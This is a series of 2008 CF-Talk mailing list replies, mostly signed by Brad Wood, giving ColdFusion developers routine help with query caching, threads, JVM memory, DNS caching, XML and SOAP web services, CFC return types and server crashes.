Hmm, I sure hope you replaced the exec with a print statement -Original Message- From: Heikki Heikkinen [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 4:48 PM To: CF-Talk Subject: Re: (ot) URL Hack Attempt Leaves Me Scractching My Head... Brad, This took care of part of the issue... but not all. I get this error: Msg 8152, Level 16, State 13, Line 1 String or binary data would be truncated. The statement has been terminated. Does anyone know what I need to do to get around the error above? thanks! Works great for me. You have to remove the extra line breaks though. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309415 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Cache result sets manually. You can wrap that up nicely in a custom tag. ~Brad -Original Message- From: Kris Jones [mailto:[EMAIL PROTECTED] I am now working with an app that uses cached queries regularly, and is still on CF7. You cannot use cfqueryparam with a cached query in CF7. What are the alternatives? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309416 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Caching and Reusing a Query Generated with QueryNew Function
Is that query specific to an individual or the entire application? If multiple users of your site hitting this page at the same time would have different queries needing to cached, you will probably not want to keep it in the application scope. The session scope would be more appropriate in that scenario since it is specific to each user. ~Brad -Original Message- From: Niski, Brian [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 15, 2008 4:30 PM To: CF-Talk Subject: RE: Caching and Reusing a Query Generated with QueryNew Function Thanks Dave. Earlier I had gotten the application scope to work, but I assumed that it was a work-around to my failure with cachedwithin, so I just kept attempting to work with cachedwithin. It is good to know that not only is it not a work-around, but instead IS the way I need to proceed. I appreciate your help. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309116 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Connecting Coldfusion MX7 to SQL Server 2005
Click on the words System Information at the very top of the page in CF Admin. There is a Java Class Path entry that lists all the jars that are loaded. The same info is available under the Server Settings Settings Summary page. ~Brad = About your first question... I didn't even know the CF administrator had an area to look .jars. I will have to look at that when I get home this afternoon. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309018 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: urlencode/decode
I believe you will need to base64encode the string after you encrypt it. Of course, it will need to be decoded in the same manner on the receiving end. ~Brad -Original Message- From: Brian Dumbledore [mailto:[EMAIL PROTECTED] Seems fine.. But doesn't work for some cases when the encrypt results in a string with special characters. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309029 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: The Woes of CFThread -- going out of my mind!
Dan, I already suggested this approach to IAN nearly a month ago-- twice. http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:307447 http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:307626 If he thought there was merit in that he probably would have tried it already. ~Brad -Original Message- From: Dan G. Switzer, II [mailto:[EMAIL PROTECTED] Threads should be used with caution, because each thread is going to be taking up memory (although I'm not sure how much memory each thread uses.) Spawning off threads like this is in rapid fire succession is a good way for the JVM to run out of memory and once that happens, everything becomes really unstable. I'd try to really limit the number of threads your creating. I'd even look at limiting things to a fixed number of worker threads. Try dividing the work load between like 5 or 6 threads. Have each thread process it's share of the work load (i.e. each work load would handle 1/5 of the workload--so w/500 records, thread one would work on records 1-100, thread 2 would work on records 101-200, etc.) -Dan ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308867 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Missing Messages --- was Re: The Woes of CFThread -- going out of my mind!
OK, then. I'll take you off my black list. :) ~Brad -Original Message- From: Ian Skinner [mailto:[EMAIL PROTECTED] Sent: Thursday, July 10, 2008 11:00 AM To: CF-Talk Subject: Missing Messages --- was Re: The Woes of CFThread -- going out of my mind! Brad Wood wrote: Dan, I already suggested this approach to IAN nearly a month ago-- twice. http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:307447 http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:307626 If he thought there was merit in that he probably would have tried it already. ~Brad I suspected I have not been getting all of HOF messages, but now I have confirmation. I had noticed that once in a while I did not recieve a copy of a message I sent to the lists. I also noticed that there were increasing cases where there seemed to be replies to messages that I never receive the original. I never received either of these replies a month ago. I do not see in messages from HOF in the spam folder at my end, but I am not sure what may be happening in between. I'll have to look up Micheal's address when I get back from my 9:00 am meeting to see if anything is getting bounced back. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308876 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: CFLayout / Transparency
Ok, I don't have a clue, but I'll suggest something just so your thread doesn't die. :) Try loading the page in FireFox, and checking out the elements in question with the DOM inspector. It may give you some clues as to what CSS classes are controlling the layout and formatting of your trouble elements. ~Brad -Original Message- From: Michael Fisher [mailto:[EMAIL PROTECTED] Sent: Thursday, July 10, 2008 11:12 AM To: CF-Talk Subject: Re: CFLayout / Transparency Don't want this thread to die. Does anybody have any ideas on how to get cflayout transparency? I have been messing around with the ext css file but am unable to find anything for cflayout. Any ideas?? THANKS! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308877 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: CFLayout / Transparency
Go download FireFox. Now. Then download FireBug. Then download ColdFire. You may never look back. :) http://www.mozilla.com/en-US/firefox/ https://addons.mozilla.org/en-US/firefox/addon/1843 http://coldfire.riaforge.org/ ~Brad -Original Message- From: Michael Fisher [mailto:[EMAIL PROTECTED] Sent: Thursday, July 10, 2008 11:29 AM To: CF-Talk Subject: Re: CFLayout / Transparency Brad, I am unfamiliar with that but I will def research it and see if it helps. Thanks for your input!! Much appreciated! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308886 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: JVM auto-restart on Out of Memory error?
Two things: 1) You mentioned you are using session replication. How much stuff are you putting in the session scope. Large objects can eat memory since sessions are replicated to all instances whether or not they are needed there. 2) Do you know if your out of memory errors relate to the heap in general, or just the Permanent Generation space? (permgen) ~Brad -Original Message- From: Russ [mailto:[EMAIL PROTECTED] Sent: Thursday, July 10, 2008 1:10 PM To: CF-Talk Subject: RE: JVM auto-restart on Out of Memory error? We are also running into out of memory issues. I currently restart CF twice a day (we have load balancing and session replication so it shouldn't affect users), but I would love for it to restart automatically. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308893 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: The error occurred on line -1
Have you checked all your logs for more info? IIS/Apache, ColdFusion, JRUN? Is there a stack dump that accompanies this The error occurred on line -1 error? If you have CF8 Enterprise, start using the server monitor to catch poorly performing requests and memory usage. If you have CF8 standard, install SeeFusion or Fusion-Reactor. ~Brad -Original Message- From: David Critchley [mailto:[EMAIL PROTECTED] Sent: Thursday, July 10, 2008 4:59 PM To: CF-Talk Subject: Re: The error occurred on line -1 I sure hope it fixes your problem. If not, you'll have problems Googling for that error number. :) http://www.codersrevolution.com/index.cfm/2008/7/9/The-Side-of-the-Net- G oogle-wont-show-you ~Brad We are upgrading to 8.0.1 now. Hopefully this addresses the problem, Our problem is the ColdFusion Server itself is just dying altogether on our production server. We don't seem to have a problem on our Dev, Test or Training servers. There doesn't seem to be any indication as to why the server is going down, it just dies and we have to restart it. A few of us have been pulled off on our regular work and have been put on this priority. Currently we are looking at these options: 1) Optimizing code (intense code reviews of long running pages) 2) Updating the CF Server 3) Checking and Rechecking all CF settings (and optimizing as well) 4) Investigating all CF errors We've seen a few of these errors and I read that these errors (or similar) were an indication that the server was going down, hence my request. Not sure what triggered this event (The server dying repeatedly), but we recently upgraded to CF8 on May 24, Server worked fine. Then the server started dying, almost daily, around June 26. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308907 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Long running ColdFusion process and JVM Garbage collection.
You can run Garbage Collection like this: cfset runtime = CreateObject(java, java.lang.Runtime).getRuntime() cfset runtime.gc() YMMV ~Brad -Original Message- From: Ian Skinner [mailto:[EMAIL PROTECTED] Sent: Wednesday, July 09, 2008 11:29 AM To: CF-Talk Subject: Long running ColdFusion process and JVM Garbage collection. Is there anyway to encourage a ColdFusion server to run garbage collection during a long running, memory intensive process? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308817 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: CF DNS Cache
I don't think that would make a difference. You could ping an aggregator all day long, but if they are caching the IP address your domain USED to point to, it still wouldn't pick up your current feed. The only way I can think of that would work is if you were manually pinging them with a URL that used your IP address instead of a hostname like http://123.123.123.123/rss.cfm. Perhaps your RSS is located in a different place now and you haven't updated your ping URLs in your blog software. Or alternatively, the aggregator uses a separate server to do their automated aggregating, and the server that responds to pings is a different one. i.e. The regularly scheduled aggregating still has your old IP cached, but the ping URL hits an entirely different server which doesn't have it cached. ~Brad -Original Message- From: Sherif Abdou [mailto:[EMAIL PROTECTED] Sent: Wednesday, July 09, 2008 2:41 PM To: CF-Talk Subject: Re: CF DNS Cache not meant to take over this thread but i am guessing that cf does cache DNS since i get aggregated by adobe feeds and ever since i moved my hosting I have to manually ping it inorder for it to update. if i switch back to my old host then it works fine. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308826 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: The error occurred on line -1
I sure hope it fixes your problem. If not, you'll have problems Googling for that error number. :) http://www.codersrevolution.com/index.cfm/2008/7/9/The-Side-of-the-Net-G oogle-wont-show-you ~Brad -Original Message- From: David Critchley [mailto:[EMAIL PROTECTED] We are upgrading to 8.0.1 now. Hopefully this addresses the problem, ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308831 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Dynamic XML(DOM)
I'm not sure what you mean by results are returned directly in the browser in XML format, but I'll ignore that for now and assume you are calling some webservice, or cfhttping to a URL. Have the administrators of the remote database provided you with an XSD or DTD which lets you know what the XML will look like? As long as the format of the XML (what tags and attributes there are) is predictable, it doesn't really matter whether or not you are using XML that was created dynamically or read from a static file-- your code will work the same way. ColdFusion has some VERY handy ways to deal with XML, but it may help you to think of ColdFusion's representation of an XML object as an array of structs. I don't know how you are receiving the XML, but for example, it it was in a string variable called my_xml_string_variable, all you need to do is: cfset xml_doc = xmlparse(my_xml_string_variable) cfdump var=#xml_doc# That should at least get you started. ~Brad -Original Message- From: LSD 4Me [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 08, 2008 1:03 PM To: CF-Talk Subject: Dynamic XML(DOM) Hi I am currenlty using a form to search for dates in a remote database. The results are returned directly in the browser in XML format. I need to setup a way to have that xml data returned dynamicaly to a page which will then give me the ability to manipulate the data returned (either display in html form or insert into a local db) We are on CF8 and im like a deer in headlights when it comes to xml. does anybody know a good starting point? Ive researched plenty but ALL the examples require an xml file to already exist on not be generated dynamically. Any help is appreciated! THanks!! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308746 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Dynamic XML(DOM)
Did you read my post? I explained how to parse the xml data. It was the part of the code that used the xmlparse() function. (Imagine that!) :) When you say XML data, you're not referring to a SOAP packet are you? Perhaps you could post your code that calls the web service so we could get a better handle on what you are doing. ~Bard -Original Message- From: LSD 4Me [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 08, 2008 1:35 PM To: CF-Talk Subject: Re: Dynamic XML(DOM) ...I don't know how you are receiving the XML, but for example, it it was in a string variable called my_xml_string_variable, all you need to do is: This is where the confusion is. I am not sure how to parse the XML data that is returned into a variable. You are correct in that the XML is returned from a remote web service. What i am trying to do is take the results, put them into an array and then more likely than not insert it into a local DB. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308755 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Dynamic XML(DOM)
Well, heck-- you're making this harder than it has to be. You don't need a full blown API-- ColdFusion does all the SOAP nonsense for you! If you are calling a SOAP web service, all you need is a couple lines of code. Check out: http://livedocs.adobe.com/coldfusion/6/Developing_ColdFusion_MX_Applicat ions_with_CFML/webservices4.htm Two simple examples (copied from that page) would be: cfinvoke webservice = http://www.xmethods.net/sd/2001/BabelFishService.wsdl; method = BabelFish translationmode = en_es sourcedata = Hello world, friend returnVariable = foo cfoutput#foo#/cfoutput Or... cfscript ws = CreateObject(webservice, http://www.xmethods.net/sd/2001/BabelFishService.wsdl;); xlatstring = ws.BabelFish(en_es, Hello world, friend); writeoutput(xlatstring); /cfscript All the SOAP stuff happens in the background and you get a regular ColdFusion variable back. I don't know what kind of variable your web service is returning (array, string, complex type, ect), but looking at the WSDL will tell you that. ~Brad -Original Message- From: LSD 4Me [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 08, 2008 1:53 PM To: CF-Talk Subject: Re: Dynamic XML(DOM) ...When you say XML data, you're not referring to a SOAP packet are you? Yes, it is a SOAP packet returned in XML format. The API that was written for the remote webservice has plenty of SOAP related requests but we are using the HTTP POST method insteatd of creating a full blown API on our side. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308761 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: simple select query not working
Are you sure the qu_80_tb_89_split_0_split_T_Ht column is really NULL, and not just an empty string? ~Brad -Original Message- From: Richard White [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 08, 2008 2:29 PM To: CF-Talk Subject: Re: simple select query not working yes i have dumped out the query named mergedColumnsQuery just before i run the cfquery select statement on that query and it does contain a row with the data that i am trying to select would it have anything to do with column types? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308771 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Galleon Forum - Ray Camden's Forum project
Did you re-initialize the app? ~Brad -Original Message- From: [EMAIL PROTECTED] [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 08, 2008 2:47 PM To: CF-Talk Subject: Re: Galleon Forum - Ray Camden's Forum project I found that and made changes to that setting and the error still persists. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308776 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: simple select query not working
I'm going to go with Qing Xia's suggestion here. Start with nothing but select qu_80_tb_89_split_0_split_T_Wt from mergedColumnsQuery and add the where pieces back in one at a time until the record goes away. ~Brad -Original Message- From: Richard White [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 08, 2008 2:45 PM To: CF-Talk Subject: Re: simple select query not working hi brad, even if i leave out that column and just add the select statement: select qu_80_tb_89_split_0_split_T_Wt from mergedColumnsQuery where subjectID = 447 and projectID = 36 and testOccasionID = 2 and qu_82_tb_89_split_0_split_T_Ht = 142.2; it still doesnt find the row - and just before i run the statement i have dumped the query i am selecting from and there is a row with those items in. i have never seen anything like this before!!! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308778 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: CF DNS Cache
I don't know that CF caches DNS, but I bet the OS probably does. Is this a one-time thing, or do you need to pragmatically do this on a regular basis through your application? ~Brad -Original Message- From: Jenny Gavin-Wear [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 08, 2008 4:52 PM To: CF-Talk Subject: CF DNS Cache Does CF (7) ever clear it's DNS cache, or does it have to be done via a restart, please? Jenny ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308796 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: CF DNS Cache
Hmm, looks like I was wrong. Java does cache DNS. Furthermore, it appears to ignore TTL values. Here's a page talking about it: http://www.rgagnon.com/javadetails/java-0445.html I'm not sure exactly how that all translates to CF though. ~Brad -Original Message- From: Brad Wood [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 08, 2008 4:55 PM To: CF-Talk Subject: RE: CF DNS Cache I don't know that CF caches DNS, but I bet the OS probably does. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308797 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: The value returned from the CheckPassword function is not of type query.
No, that line of code simply creates a variable which contains the result set returned from the proc. In order to actually return that variable, you need to use cfreturn You can create infinite variables of any given type in a method, but the one you wish to return to the caller needs to be specified by the cfreturn tag. ~Brad -Original Message- From: Phillip Vector [mailto:[EMAIL PROTECTED] Sent: Monday, July 07, 2008 12:10 PM To: CF-Talk Subject: Re: The value returned from the CheckPassword function is not of type query. Doesn't the cfprocresult name=Check in the cfstoredproc handle the returning of the information? Can I safely get rid of that then? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308671 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: The value returned from the CheckPassword function is not of type query.
Your problem is your CFFUNCTION specifies the returntype attribute. When you do that you are telling ColdFusion to expect the function to return something-- and more specifically, to expect a particular type of variable to be returned. If you have a method which does not return any information to the calling code, than remove the returntype=query-- Simple as that. ~Brad -Original Message- From: Phillip Vector [mailto:[EMAIL PROTECTED] Sent: Monday, July 07, 2008 2:23 PM To: CF-Talk Subject: Re: The value returned from the CheckPassword function is not of type query. Well.. Wait... cfinvoke component=FHCcfc.Queries method=CreateUser returnvariable=CreateUser/cfinvoke cffunction name=CreateUser returntype=query This one has a cfreturn, but I'm getting the same error.. It's an insert, so I removed the cfreturn and return variable and I still get the same error as I did when they were there... So... Is there some special way of running code in a CFC where I don't need a return variable besides removing the cfreturn and returnvariable? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308682 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Coldfusion restarting itself
What does a stack trace look like when things start getting busy? How many requests a minute are you serving at peak usage? ~Brad -Original Message- From: Rick Root [mailto:[EMAIL PROTECTED] Sent: Monday, July 07, 2008 5:50 PM To: CF-Talk Subject: Re: Coldfusion restarting itself Bad news! The server, running in interpreted mode, was much more reliable but the CPU usage remained quite high. The machine has two 3.0ghz dual core CPUs. Now that the load is picking up ... the server can't keep up and the requests pile up and then CF crashes hard. I removed the jvm -Xint argument to re-enable hotspot compiling.. and the CPU usage is down and the server is able to keep up, but CF started crashing again. Regularly. Now I've restarted CF with hotspot compilingdisabled again (put the -Xint arg back in).. and the CPU is averaging 95%, and the requests are piling up again. CRAP! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308711 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Coldfusion restarting itself
Also, did you get a chance to give the 1.5 JDK a whirl like James suggested? ~Brad -Original Message- From: James Holmes [mailto:[EMAIL PROTECTED] Sent: Saturday, July 05, 2008 1:45 AM To: CF-Talk Subject: Re: Coldfusion restarting itself The only other suggestion I have is to try the 1.5 JDK. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308713 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: CF vs .Net or PHP - need arguement help
Usually companies don't just spend money for the heck of it. What is it they are trying to do by re-writing the site from scratch? Do they perceive it as slow or outdated, or are they looking for more features of some kind? ~Brad -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Sent: Wednesday, July 02, 2008 11:06 AM To: CF-Talk Subject: CF vs .Net or PHP - need arguement help Our company, a large nationwide organization is creating an RFP to redo our entire site from scratch for agnecies to review. The marketing folks are asking the agencies to recommend a application platform as a part of the RFP. I know most agencies use ...net or php, but that will be for their advantage and not our existing CF staff. I need some guidance from someone that's been down this road before. I don't want us to switch technologies just beacuse it's what the agencies use. Why aren't there more agencies using CF? D ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308460 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: CF vs .Net or PHP - need arguement help
Wow. I can't help you much with any agencies, but I would recommend figuring out what their biggest fears are and catering to those. For instance, if they think using another language would be faster to deploy time, talk to them about CF's rapid development capabilities. If they are concerned about the developer costs, talk to them about how fewer developers can achieve more work with ColdFusion's built-in functionality and how your in-house staff is already trained in that language and the inner workings of your company. ~Brad -Original Message- From: [EMAIL PROTECTED] [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Sent: Wednesday, July 02, 2008 11:19 AM To: CF-Talk Subject: Re: CF vs .Net or PHP - need arguement help They're rebranding and reorganizing from scratch. It's driven by the Marketing folks and they want my feedback on what we should use, but the angencies talk about that there's more, less expensive developers out there with these other technologies. They're just trying to sell what their staff knows so they can land the account. I need a list of reputable agencies that use CF and not just a CF development house. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308469 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: CF vs .Net or PHP - need arguement help
Ok, I guess for the heck of it was a pretty broad statement on my part. I basically wanted to get to the root of the change. Even a new CIO has a reason for his shake up, even if it's ridiculous. If knows why they want change, then he can better address their needs. For instance, when you walk on a car lot, the first thing the salesman probably does is figure out whether you are looking to save gas, or have the coolest looking car on the block, etc. If D wants to sell himself to his marketing department, he needs to know what they are looking for. Or alternatively, what they are afraid of. ~Brad -Original Message- From: Dave Watts [mailto:[EMAIL PROTECTED] Sent: Wednesday, July 02, 2008 11:29 AM To: CF-Talk Subject: RE: CF vs .Net or PHP - need arguement help Usually companies don't just spend money for the heck of it. If only that were true. I see that happening ALL THE TIME. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308470 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: (ot) Anyone run into this issue w/ CrystalTech.com
I can make CON folders all day long on Windows like this: mkdir \\.\C:\con *grin* ~Brad -Original Message- From: Billy Jamme [mailto:[EMAIL PROTECTED] Sent: Wednesday, July 02, 2008 3:53 PM To: CF-Talk Subject: Re: (ot) Anyone run into this issue w/ CrystalTech.com Lots of systems have reserved folder names. If you're running windows, just try to create a PRN or CON folder. :D Just noticed it myself. Amazing that in 2008 that this is an issue. http://forums.crystaltech.com/index.php/topic,33421.0.html I've not see it, but CrystalTech uses the Serv-U FTP Server (an off-the-shelf server) - the bug is apparently in there. If you're on a dedicated box you could enable the built-in Windows server to upload the file. Jim Davis ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308487 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: query of query timing out
